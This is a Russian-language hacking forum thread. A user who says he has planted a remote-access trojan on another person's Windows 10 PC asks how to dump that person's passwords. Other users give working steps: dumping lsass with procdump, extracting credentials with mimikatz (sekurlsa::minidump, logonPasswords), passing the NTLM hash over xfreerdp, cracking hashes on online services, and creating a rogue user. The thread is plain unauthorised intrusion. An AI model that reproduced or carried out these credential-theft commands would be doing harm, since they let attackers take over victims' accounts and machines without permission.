Как через командную строку настроить автозапуск ПК с Windows 10

[Greg77]

Всем привет.
Уважаемые форумчане у меня к вам два вопроса, подскажите пожалуйста, как в windows 10 через командную строку
1) настроить авто-включение пк по расписанию.
2) вытащить дампы паролей пользователей.
Всех кто откликнется заранее благодарю)))

 

[romero_4h]

2) сдампи lsass, и дамп в мимик закинь, он тебе выдаст хеши пользователей, может и пароли, уже залогиненых юзеров
посмотри еще сюда

 

[Greg77]

тут и стоит вопрос. как сдампить через cmd, так как к раб столу нормального доступа нет. Комп или залочен, или на нем работают, или вообще иногда отрубают невовремя. Но на нем стоит мой ратник, поэтому можно удалённо слать команды в cmd, изменять записи реестра, загружать и запускать файл, есть доступ к таск менеджеру.
по этому и думаю. как настроить автовключение когда кх отдыхат, что бы можно было нормально поковыряться. как выключить комп через cmd знаю, а вот как настроить включение по расписанию или вытащить дамп, не знаю((

 

[cutedemon]

тут и стоит вопрос. как сдампить через cmd, так как к раб столу нормального доступа нет. Комп или залочен, или на нем работают, или вообще иногда отрубают невовремя. Но на нем стоит мой ратник, поэтому можно удалённо слать команды в cmd, изменять записи реестра, загружать и запускать файл, есть доступ к таск менеджеру.
по этому и думаю. как настроить автовключение когда кх отдыхат, что бы можно было нормально поковыряться. как выключить комп через cmd знаю, а вот как настроить включение по расписанию или вытащить дамп, не знаю((

Качаешь программу procdump.exe , загружаешь ее на пк чужой,
потом открываешь cmd на удаленной тачке, заходишь в папку куда закинул procdump
и выполняешь команду:

procdump.exe --accepteula -ma lsass.exe lsass.dmp

В случае успеха на удаленной тачке будет создан lsass.dmp файл.
Качаем mimikatz.exe
Копируем его на свой комп рядом с mimikatz.exe
Открываем мимик и делаем в нем:
sekurlsa::minidump lsass.dmp
privilege::debug
log 1234.txt
sekurlsa::logonPasswords full
если все гуд получишь открытые пароли.

 

[romero_4h]

если все гуд получишь открытые пароли.

Если будут только хеши, через хеш можно с помощью xfreerdp в удаленный рабочий стол подключиться.
Или проверить хеши в онлайн сервисах типа crackmd5 или побрутить.
Ты можешь создать нового юзера если у тебя есть cmd и зайти из под него

 

[Greg77]

благодарю, буду пробовать. опишусь по результату.

 

[xrahitel]

1) настроить авто-включение пк по расписанию.

Типо так что ли тыц

2) вытащить дампы паролей пользователей.

Dumping RDP Credentials

файлы тыц

тыц и тыц

этой копируем куда надо ваш лог.

extrac32.exe /C C:\Windows\System32\mimilsa.log C:\test\mimilsa.log

 

[Greg77]

Качаешь программу procdump.exe , загружаешь ее на пк чужой,
потом открываешь cmd на удаленной тачке, заходишь в папку куда закинул procdump
и выполняешь команду:

procdump.exe --accepteula -ma lsass.exe lsass.dmp

В случае успеха на удаленной тачке будет создан lsass.dmp файл.
Качаем mimikatz.exe
Копируем его на свой комп рядом с mimikatz.exe
Открываем мимик и делаем в нем:
sekurlsa::minidump lsass.dmp
privilege::debug
log 1234.txt
sekurlsa::logonPasswords full
если все гуд получишь открытые пароли.

вроде все сделал правильно. выдает (null) хотя просит пароль для входа.

 

[romero_4h]

ну у тебя есть NTLM хеш, попробуй почекать его на crackstation.net crackmd5.ru, или брут

 

[romero_4h]

если тебе нужно войти как по rdp, юзай xfreerdp и вместо пароля поставь нтлм хеш

 

[cutedemon]

Посмотреть вложение 28561
вроде все сделал правильно. выдает (null) хотя просит пароль для входа.

После перезагрузки и ввода пароля должно сохранить пароль в открытом виде, после этого делай дамп еще раз, и суй в мимик , должно помочь)

romero_4h правильно говорит, зайди по rdp, юзай xfreerdp и вместо пароля поставь нтлм хеш)
Просто не понятно что ты хочешь от этой машины, конкретнее расскажи что тебе нужно от нее​

 

[Greg77]

к кх вхожу через vnc и упираюсь в пасс на входе. ранее подгрузил туда ратник и через него сделал как ты рекомендовал выше. результат выдало пасс null. от машины хочу узнать пасс для входа и настроить автовключение в удобное время для работы время...

 

[Greg77]

буду пробовать дальше.

 

[cutedemon]

буду пробовать дальше.

Скорее всего если это домашний пк , нечего не выйдет, не на всех материнских платах есть такой функционал, ну почитай тут ТЫК- может поможет)

 

[Greg77]

Скорее всего если это домашний пк , нечего не выйдет, не на всех материнских платах есть такой функционал, ну почитай тут ТЫК- может поможет)

так и не получилось по итогу, грешу на то что кх похоже всего входит удаленно.

 

[Greg77]

Всем спасибо, было очень познавательно)))